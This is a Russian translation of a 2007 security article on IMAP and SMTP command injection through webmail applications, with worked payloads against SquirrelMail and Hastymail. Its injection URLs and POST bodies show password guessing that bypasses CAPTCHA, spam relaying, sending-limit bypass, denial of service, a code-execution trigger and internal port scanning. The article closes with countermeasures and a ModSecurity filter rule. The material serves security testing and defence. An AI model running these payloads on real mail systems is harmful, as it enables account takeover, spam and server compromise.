MX-инъекции: внедрение почтовых команд

Веб-приложения электронной почты используют протоколы IMAP и SMTP для обеспечения взаимодействия пользователя с его почтовым ящиком. По сути, это означает, что они являются прокси между приложением клиента и почтовым сервером, для выполнения установленных действий.

Это взаимодействие начинается в тот момент, когда пользователь посылает свои учетные данные (логин и пароль) для того чтобы авторизоваться, используя веб-приложение. В этой точке, предполагая, что IMAP-сервер поддерживает метод аутентификации LOGIN, веб-приложение связывается с IMAP- сервером, посылая следующую команду:

AUTH LOGIN <user> <password>

Затем приложение анализирует возвращаемый сервером ответ и, в зависимости от его содержимого, запрещает либо запрещает доступ пользователя к его ящику.

Таким же образом приложение переводит различные действия пользователя в команды IMAP и SMTP, которые посылаются соответствующему серверу. Однако возможный функционал ограничен веб-приложением, так как пользователь не может инициировать IMAP- или SMTP-команды, отличные от тех, которые определены в веб-приложении. С другой стороны, пользователь обладает возможностью изменять команды IMAP и SMTP, передаваемые почтовым серверам. Давайте в деталях рассмотрим, как работает этот метод.

технология MX-инъекций

Так же, как и в многократно описанных технологиях SQL-, LDAP-, SSI-, Xpath- и CRLF-инъекций, технология MX-инъекции позволяет внедрение произвольных IMAP- или SMTP-команд почтовому серверу через веб-приложение, некорректно обрабатывающее предоставленные пользователем данные. Техника MX-инъекций особенно полезна в тех случаях, когда почтовый сервер, использующийся веб-приложением, напрямую недоступен из Интернет. Процесс внедрения произвольных команд подразумевает, что пользователю через веб-приложение доступны порты 25 (smtp) и 143 (imap).

Для атакующего, пользующегося техникой MX-инъекций, порты почтового сервера, обычно закрытые файрволлом, доступны «напрямую». Использование этой техники допускает большое количество воздействий и видов атак. Открывающиеся же возможности зависят от типа сервера, для которого проводится инъекция.

IMAP-инъекции

В данном случае инъекция команды делается для IMAP-сервера, поэтому она должна соответствовать спецификации этого протокола. Веб-приложения электронной почты связываются с IMAP-сервером, чтобы выполнить необходимые операции, и по этой причине они более уязвимы для атак подобного рода.

Во время аутентификации пользователя приложение передает учетные данные IMAP-серверу, таким образом IMAP-инъекции могут иметь место без необходимости наличия валидного аккаунта в приложении, эксплуатируя в данном случае механизм авторизации непосредственно IMAP-сервера. Перед внедрением команд пользователь должен определить все параметры, использующиеся в процессе связи с веб-приложением и связанные с функционированием приложения, такие как:

- аутентификация/login/logout;

- операции с почтовым ящиком (list/read/create/delete/rename);

- операции с сообщениями (read/copy/move/delete).

Давайте для примера рассмотрим IMAP-инъекцию, эксплуатирующую функцию прочтения сообщения. Предположим, что веб-приложение использует параметр «message_id» для хранения идентификатора сообщения, которое пользователь запрашивает для прочтения. Запрос, содержащий идентификатор сообщения, при посылке выглядит так:

http://<webmail>/read_email.php?message_id=<number>

Предположим, что со страницы “read_email.php”, ответственной за отображение соответствующего сообщения, запрос передается серверу без проведения каких-либо проверок значения <number>, передаваемого пользователем. Команда, посылаемая серверу, будет выглядеть так:

FETCH <number> BODY[HEADER]

В этом контексте злоумышленник может провести атаку IMAP-инъекцией через параметр “message_id», используемый приложением для связи с почтовым сервером. Например, команда IMAP-протокола CAPABILITY может быть внедрена через следующую последовательность:

http://<webmail>/read_email.php?message_id=1 BODY[HEADER]%0d%0aZ900
CAPABILITY%0d%0aZ901 FETCH 1


Это приведет к посылке следующей последовательности команд IMAP-серверу:

FETCH 1 BODY[HEADER]
Z900 CAPABILITY
Z901 FETCH 1 BODY[HEADER]


И страница, возвращаемая сервером, будет показывать результат команды CAPABILITY от IMAP-сервера:

* CAPABILITY IMAP4rev1 CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES
SORT QUOTA ACL ACL2=UNION
Z900 OK CAPABILITY completed


SMTP-инъекция

В этом случае внедрение команд производится в SMTP-сервер, поэтому внедряемые команды должны следовать этому протоколу. Из-за того, что все проводимые операции разрешены приложением, используя SMTP-протокол, мы, проще говоря, имитируем отсылку письма. Использование SMTP-инъекции предполагает, что пользователь предварительно аутентифицировался, то есть необходимо, чтобы имелся активный пользовательский аккаунт. Ниже приведен формат письма, посылаемого через SMTP:

- отправитель;
- получатель;
- тема;
- тело письма;
- присоединенные файлы.

Давайте на примере рассмотрим технику SMTP-инъекции чрез параметр, который содержит тему письма.

Как я уже объяснил ранее, при использовании данного метода необходимо, чтобы пользователь аутентифицировал себя.

В общем случае, веб-приложение электронной почты предоставляет пользователю форму, где он должен ввести необходимую информацию, она затем будет передана процедуре, которая ответственна за создание SMTP-команд, необходимых для посылки данного письма.

Типичный запрос для отправки письма будет выглядеть так:

POST http://<webmail>/compose.php HTTP/1.1
...
-----------------------------134475172700422922879687252
Content-Disposition: form-data; name="subject"
SMTP Injection Example
-----------------------------134475172700422922879687252


Он сгенерирует следующую последовательность команд SMTP:

MAIL FROM: <mailfrom>
RCPT TO: <rcptto>
DATA
Subject: SMTP Injection Example
....


Если приложение не достаточно корректно проверяет значение параметра «Subject», атакующий сможет внедрить в него дополнительные SMTP-команды:

POST http://<webmail>/compose.php HTTP/1.1
...
-----------------------------134475172700422922879687252
Content-Disposition: form-data; name="subject"
SMTP Injection Example
.
MAIL FROM: notexist@external.com
RCPT TO: user@domain.com
DATA
Email data
.
-----------------------------134475172700422922879687252


Команды, внедренные в примере выше, произведут следующую последовательность SMTP-команд, которая будет отослана почтовому серверу, и будет включать команды MAIL FROM, RCPT TO и DATA, как показано ниже:

MAIL FROM: <mailfrom>
RCPT TO: <rcptto>
DATA
Subject: SMTP Injection Example
.
MAIL FROM: notexist@external.com
RCPT TO: user@domain.com
DATA
Email data
.
...


MX-инъекции: каковы преимущества?

Обсуждения и публикации и о подобных инъекциях в почтовые системы существовали и до этой статьи. С уверенностью модно сказать, что наиболее известной является CRLF-инъекция в функцию PHP mail().

Тем не менее, они состоят только из частичного внедрения кода, как в случае внедрения заголовков письма. Этот тип инъекций позволит реализовать различные операции (рассылка анонимных писем, спам/релеинг и т. д.) которые также возможы с техникой MX-инъекций, так как базируются на одном и том же типе уязвимости.

Преимущество же данной техники состоит в возможности полноценной передачи команд уязвимым серверам без каких-либо ограничений. Другими словами, ее использование допускает не только внедрение заголовков (From, Subject, To, и т. д.), но и произвольных команд в почтовый сервер (IMAP/SMTP), связанный с веб-приложением.

MX-инъекция позволяет обойти стандартный функционал веб-приложения электронной почты (например, разослать большие объемы почты). Эта техника позволит выполнить дополнительные действия, невозможные непосредственно через веб-приложение (например, спровоцировать переполнение буфера через команду протокола IMAP).

Возможность внедрения произвольных команд будет особенно интересна специалистам по безопасности (pen-testers), так как позволяет использование уязвимостей, которые в некоторых ситуациях могут привести к получению полного управления сервером.

создание атак

Далее я приведу несколько примеров различных типов атак на почтовые серверы, а также практические примеры использования техники MX-инъекций. Реальные ситуации были смоделированы на веб-приложениях SquirrelMail (версии 1.2.7 и 1.4.5) и Hastymail (версии 1.0.2 и 1.5).

SquirellMail версии 1.2.7 более не поддерживается командой SquirellMail, поэтому рекомендуется обновиться как минимум до версии 1.4.6, так как все предыдущие версии уязвимы к данным типам атак. Все версии Hastymail версии младше 1.5 также уязвимы к SMTP- и IMAP-инъекциям и пользователям настоятельно рекомендовано использовать последние патчи.

Команды разработчиков SquirellMail и Hastymail были уведомлены об уязвимостях и обе быстро предоставили заплатки. Вскоре после этого был выпущен плагин для Nessus, предназначенный для проверки наличия данных уязвимостей.

Атаку необходимо проводить в два приема:

- определить уязвимый параметр;

- выяснить, насколько широко можно его использовать.

определение уязвимого параметра

Идентификация уязвимых параметров может быть проведена тем же путем, что и при проверке на другие типы инъекций, то есть проверкой поведения сервера в нестандартной ситуации. А именно, посылкой приложению необычных значений для каждого из параметров, передаваемых далее как часть IMAP- либо SMTP-взаимодействия, и попытками определить наличие подтверждения уязвимости.

Рассмотрим пример. Когда пользователь получает доступ к папке INBOX своего почтового аккаунта, запрос к SquirellMail выглядит так:

http://<webmail>/src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox=INBOX

Если пользователь изменит значение «mailbox» таким образом:

http://<webmail>/src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox=INBOX%22

то приложение отреагирует выдачей сообщения ошибке:

ERROR : Bad or malformed request.
Query: SELECT "INBOX""
Server responded: Unexpected extra arguments to Select


Очевидно, это не должно быть нормальным поведением приложения. Это сообщение об ошибке помимо всего прочего говорит о том, что была попытка выполнить команду IMAP SELECT. Используя эту процедуру, мы можем установить, что параметр “mailbox” подвержен атакам типа MX-инъекция, а в частности - IMAP-инъекциям.

В других случаях определение и использование уязвимых параметров может быть не столь очевидным. Например, когда пользователь получает доступ к своей папке INBOX в Hastymail, запрос выглядит так:

http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=INBOX

Если пользователь изменяет параметр “mailbox” следующим образом:
http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=INBOX"

Приложение реагирует выдачей следующей ошибки:

Could not access the following folders:
INBOX\"
To check for outside changes to the folder list go to the folders page


В этом случае, добавление двойной кавычки не изменило поведения приложения. Результат выполнения запроса такой же, как если бы мы добавили любой другой символ:

http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST

Приложение реагирует выдачей сообщения об ошибке:

Could not access the following folders:
NOTEXIST
To check for outside changes to the folder list go to the folders page


Если пользователь пытается использовать вариации IMAP-инъекции:

http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST "%0d%0aA0003%20CREATE%20"INBOX.test

приложение также отреагирует выдачей сообщения об ошибке:

Unable to perform the requested action
Hastymail said:: A0003 SELECT "INBOX"
And the IMAP server said::
A0003 NO Invalid mailbox name.


Изначально кажется, что попытка IMAP-инъекции не удалась. Однако, используя различные комбинации управляющих символов, можно достичь нужной цели. В следующем пример используется кодирование знака кавычки через представление в виде двух символов, заменяя использованное в предыдущем примере на последовательность %2522:

http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST %2522%0d%0aA0003%20CREATE%20%2522INBOX.test

В этом случае приложение не выдает никаких сообщений об ошибках и успешно создает папку «test» в INBOX.
Другие варианты:

- подставить в параметр значение null (то есть “mailbox=”);

- заменить значение именем несуществующего почтового ящика (“mailbox=NotExist”);

- добавить другие значения к параметрам (“mailbox=INBOX PARAMETER2”);

- добавить нестандартные символы (\.?,@,#,!,\n);

- добавить последовательность CRLF (“mailbox=INBOX%0d%0a”).

рамки использования

Когда определен уязвимый параметр (будь то IMAP- или SMTP-команда), необходимо понять, насколько широко его можно использовать. Другими словами, нужно уяснить последовательность команд и место нашей уязвимой команды в этой последовательности, для того чтобы передать ей адекватные параметры.

Чтобы успешно проделать MX-инъекцию, необходимо, чтобы предыдущая команда заканчивалась последовательностью CRLF ("%0d%0a"). В этом случае данная последовательность будет использоваться для разделения команд.

Если у пользователя есть возможность внедрения команды и просмотра выдаваемых сообщений об ошибках, то на следующем этапе нужно понять последовательность выполняемых операций.

Пример. Когда пользователь запрашивает письмо на просмотр, в SquirellMail генерируется следующий запрос:

http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=1&startMessage=1&show_more=0

Если пользователь изменит значение “passed_id” следующим образом:

http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=test&startMessage=1&show_more=0

приложение ответит ошибкой:

ERROR : Bad or malformed request.
Query: FETCH test:test BODY[HEADER]
Server responded: Error in IMAP command received by server


Здесь пользователь может определить, что выполняемая IMAP-команда - это FETCH вместе сопутствующими параметрами. На этом этапе, определив уязвимый параметр, у нас есть достаточно данных, для проведения инъекции дополнительной команды.

http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=1 BODY [HEADER]%0d%0aZ900 RENAME INBOX ENTRADA%0d%0aZ910 FETCH
1&startMessaGe=1&show_more=0


Данный запрос выполнит следующие IMAP команды на сервере:

FETCH 1 BODY[HEADER]
Z900 RENAME INBOX ENTRADA
Z910 FETCH 1 BODY[1]


Если же пользователь не может видеть сообщения об ошибках (так называемая «инъекция вслепую»), то информация о соответствующей операции должна быть получена из типа выполняемой операции. К примеру, если инъекция делается через параметр формы аутентификации “password”, IMAP-команда, выполняемая сервером, будет выглядеть так:

AUTH LOGIN <user> <password>

Возвращаясь к вышесказанному: если инъекция проводится через параметр “mailbox”, то исполняемой IMAP-командой будет:

LIST "<reference>" <mailbox>

атака с утечкой информации

Примененная техника: IMAP-инъекция.

Необходимость наличия аутентифицированного пользователя: нет.

Эта инъекция может применяться для получения информации об IMAP-сервере в тех случаях, когда получение информации другими методами затруднено. Предполагается, что пользователь имеет возможность инъекции команды CAPABILITY в параметр “mailbox”:


http://<webmail>/src/read_body.php?mailbox=INBOX%22%0d%0aZ900 CAPABILITY%0d%0aZ910 SELECT "INBOX&passed_id=1&startMessage=1&show_more=0

Ответ после команды CAPABILITY отобразит список параметров, разделенный запятыми, вместе с соответствующими каждому параметру возможностями сервера.

* CAPABILITY IMAP4 IMAP4rev1 UIDPLUS IDLE LOGIN-REFERRALS NAMESPACE QUOTA CHILDREN
Z900 OK capabilities listed

* CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ MAILBOX-REFERRALS NAMESPACE UIDPLUS ID NO_ATOMIC_RENAME UNSELECT CHILDREN MULTIAPPEND SORT THREAD=ORDEREDSUBJECT THREAD=REFERENCES IDLE LISTEXT LIST-SUBSCRIBED ANNOTATEMORE X-NETSCAPE
Z900 OK Completed

* CAPABILITY IMAP4rev1 STARTTLS AUTH=GSSAPI XPIG-LATIN
Z900 OK Completed


С помощью этой команды пользователь может определить различные методы аутентификации, поддерживаемые сервером (ответы “AUTH=”), отключенные команды входа (LOGINDISABLED), добавленные к поддерживаемым расширениям и ревизиям IMAP.

Команда CAPABILITY может быть выполнена без аутентификации, поэтому, если она была обнаружена среди команд, доступных для инъекции, то непременно должна быть выполнена.

обход технологий типа CAPTCHA

Примененная техника: IMAP-инъекция.
Необходимость наличия аутентифицированного пользователя: нет.

В наши дни обычным для веб-приложений стало использование технологии типа CAPTCHA. Цель очевидна – предотвратить автоматизированные атаки на отдельные процессы. Например, добавление CAPTCHA к форме регистрации пользователя предотвращает вход робота в качестве обычного пользователя либо подбор существующих имен пользователей или паролей.

Если механизм аутентификации пользователя IMAP-сервера уязвим для IMAP-инъекции, злоумышленник может обойти ограничения типа CAPTCHA. Первое: предположим, что поле “password” в форме аутентификации допускает проведение инъекции IMAP-команд. Если атакующий пытается определить пароль “pwdok” пользователя “victim”, он может провести многочисленные запросы, используя, например, атаку по словарю.

Далее, предположим, что словарь состоит из следующих записей: pwderror1, pwderror2, pwdok, pwderror3.

В этом случае, пользователь может внедрить следующие команды для проведения атаки:

http://<webmail>/src/login.jsp?login=victim&password=%0d%0aZ900 LOGIN victim pwderror1%0d%0aZ910 LOGIN victim pwderror2%0d%0aZ920 LOGIN victim pwdok%0d%0aZ930 LOGIN victim pwderror3

Что приведет к выполнению соответствующих команд на IMAP-сервере: (C – запрос клиента, S – ответы сервера):

C: Z900 LOGIN victim pwderror1
S: Z900 NO Login failed: authentication failure
C: Z910 LOGIN victim pwderror2
S: Z910 NO Login failed: authentication failure
C: Z920 LOGIN victim pwdok
S: Z920 OK User logged in
C: Z930 LOGIN victim pwderror3
S: Z930 BAD Already logged in


Итак, если пароль жертвы есть в используемом для подбора словаре, то в конце инъекции злоумышленник обнаружит, что он аутентифицирован на сервере. С этого момента можно производить инъекции команд, для которых необходимо быть аутентифицированным на сервере.

релеинг

Примененная техника: SMTP-инъекция.

Необходимость наличия аутентифицированного пользователя: да.

Пользователь, аутентифицированный веб-приложением, имеет возможность создавать и отсылать электронную почту.

Предположим, что параметр «subject» уязвим для SMTP-инъекции.

В этой ситуации возможно проведение атаки для использования сервера как релея. Например, следующие команды инициируют посылку письма с «внешнего» адреса на другой «внешний» адрес.

POST http://<webmail>/compose.php HTTP/1.1
...
-----------------------------134475172700422922879687252
Content-Disposition: form-data; name="subject"
Relay Example
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
Relay test
.
-----------------------------134475172700422922879687252
...


Это приведет к выполнению сервером следующей последовательности SMTP-команд:

MAIL FROM: <mailfrom>
RCPT TO: <rcptto>
DATA
Subject: Relay Example
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
Relay test
.
...


рассылка спама

Примененная техника: SMTP-инъекция.

Необходимость наличия аутентифицированного пользователя: да.

В этом сценарии все аналогично предыдущему. Ставя себе цель обойти ограничения, накладываемые сервером (веб-приложением), например по количеству писем, отсылаемых пользователем, атакующий внедряет с уязвимым параметром необходимое количество команд (по нужному количеству писем к отправке). Посылая один нижеприведенный POST-запрос веб-серверу, атакующий может выполнить несколько действий. Давайте на примере рассмотрим посылку трех писем одной командой:

POST http://<webmail>/compose.php HTTP/1.1
...
-----------------------------134475172700422922879687252
Content-Disposition: form-data; name="subject"
SPAM Example
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
SPAM test
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
SPAM test
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
SPAM test
.
-----------------------------134475172700422922879687252
...


Это приведет к выполнению следующей последовательности SMTP-команд:

MAIL FROM: <mailfrom>
RCPT TO: <rcptto>
DATA
Subject: SPAM Example
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
SPAM test
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
SPAM test
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
SPAM test
.
...


обход ограничений

Примененная техника: SMTP-инъекция.

Необходимость наличия аутентифицированного пользователя: да.

Этот случай является комбинацией двух предыдущих. Здесь инъекция SMTP-команд позволяет обойти ограничения накладываемые на уровне веб- приложения.

Рассмотрим несколько примеров.

Предположим, что веб-приложение не разрешает посылать писем больше заданного количества в определенный промежуток времени. SMTP-инъекция позволит обойти ограничение, добавляя столько команд RCPT, сколько необходимо:

POST http://<webmail>/compose.php HTTP/1.1
-----------------------------134475172700422922879687252
Content-Disposition: form-data; name="subject"
Test
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain1.com
RCPT TO: external@domain2.com
RCPT TO: external@domain3.com
RCPT TO: external@domain4.com
Data
Test
.
-----------------------------134475172700422922879687252
...


Это приведет к посылке серверу следующей последовательности команд:

MAIL FROM: <mailfrom>
RCPT TO: <rcptto>
DATA
Subject: Test
.
MAIL FROM: external@domain.com
RCPT TO: external@domain1.com
RCPT TO: external@domain2.com
RCPT TO: external@domain3.com
RCPT TO: external@domain4.com
DATA
Test
.
...


Аналогично можно обойти ограничения на количество вложений.

Используя данные приемы, атакующий может послать столько писем, сколько захочет и с необходимым количеством вложений.

использование уязвимостей протоколов

Возможность выполнения произвольных команд почтового протокола на сервере позволит атакующему эксплуатировать существующие уязвимости посылкой серверу соответствующих команд.

Рассмотрим несколько примеров.

1. DOS-атаки на почтовый сервер. Например: переполнение буфера в MailMax версии 5.

Использование имя почтового ящика длиной более 256 символов в параметре SELECT приведет к выдаче сообщения «Buffer overrun detected! - Program:» Теперь сервер остановлен должен быть перезапущен вручную.

Полагая, что если параметр «mailbox» на странице веб-приложения уязвим к IMAP-инъекции, использование этой уязвимости может быть проведено следующим способом (требуется, чтобы пользователь был аутентифицирован):

http://<webmail>/src/compose.php?mailbox=INBOX%0d%0aZ900 SELECT "aa...[256]...aa"

2. Выполнение произвольного кода на сервере. Другой пример уязвимого сервера - IMAP-сервер MailEnable. Он подвержен переполнению буфера в команде STATUS, которое позволяет выполнить произвольный код на IMAP-сервере. Полагая, что параметр «mailbox» веб-приложения уязвим для IMAP- инъекции, использование этой уязвимости может быть проведено следующим образом (требуется, чтобы пользователь был аутентифицирован):

http://<webmail>/src/compose.php?mailbox=INBOX%0d%0aZ900 STATUS

3. Сканирование портов во внутренней сети. IMAP-сервер, разработанный в University of Washington (UW-IMAP), позволяет выполнить сканирование портов, используя команду SELECT в формате SELECT «{ip:port}».

На примере рассмотрим использование уязвимости в SquirellMail версии 1.4.2., полагая, что параметр «mailbox» уязвим для IMAP-инъекции (требуется, чтобы пользователь был аутентифицирован):

1) запрос на открытый порт (80) к 192.168.0.1:

http://<webmail>/src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox={192.168.0.1:80}

Ответ на предыдущий запрос:

ERROR : Connection dropped by imap-server.
Query: SELECT "{192.168.0.1:80}"


2) запрос на закрытый порт (21) к 192.168.0.1:

http://<webmail>/src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox={192.168.0.1:21}

Ответ сервера:

ERROR : Could not complete request.
Query: SELECT "{192.168.0.1:21}"
Reason Given: SELECT failed: Connection failed to 192.168.0.1,21: Connection refused


Различия в ответах от IMAP-сервера позволяют злоумышленнику выяснить статус нужного порта.

Подытожим: благодаря MX-инъекциям, стало возможно использовать уязвимости в почтовых серверах, которые в обычной ситуации использовать не удастся. Для аудитора безопасности умение находить и эксплуатировать данные уязвимости - большой плюс.

критерии защиты

Как и при других уязвимостях, приводящих к внедрению данных атакующим, защита веб-проложений электронной почты требует применения необходимых мер, предлагаемых командой разработчиком. Однако, чтобы сузить возможность атакующего использующего данные уязвимости, необходимо применять более широкие меры по безопасности всего сервера.

Ниже приведены контрмеры по противодействию подобного типа атакам.

Проверка вводимых данных. Все введенные данные, используемые приложением (не только введенные пользователем, но и используемые для внутренних нужд) должны быть нормализованы, должны быть удалены все символы, которые могут быть использоваться с умыслом. Проверки должны быть произведены до каких-либо манипуляций с данными.

Как обсуждалось ранее, выполнение новых команд IMAP/SMTP требует, чтобы предыдущая команда заканчивалась CRLF. Чтобы убедиться в том, что не внедрено дополнительных команд, вы можете удалить подобные символы до передачи введенных данных непосредственно почтовому серверу.

Конфигурация IMAP/SMTP-серверов. Если для доступа к почтовым серверам используется только веб-приложение, данные серверы не должны быть видны из Интернет. В дополнение к этому вы должны усилить ограничения для них, отключая все команды, за исключением действительно необходимых, для снижения угрозы атак MX-инъекциями.

Файрволлы уровня приложений. Если мы развертываем такой файрвол наряду с другими системами защиты - можно добавить соответствующие правила к фильтру.

В качестве примера файрволла уровня приложения приведу ModSecurity. Для предыдущего случая со SquirellMail результирующее правило будет выглядеть так:

SecFilterSelective "ARG_mailbox" "\r\n"

Оно будет фильтровать внедрение последовательности <CRLF> в параметр «mailbox».



Vicente Aguilera Diaz, перевод Security Lab


Сетевые решения. Статья была опубликована в номере 05 за 2007 год в рубрике save ass…

©1999-2024 Сетевые решения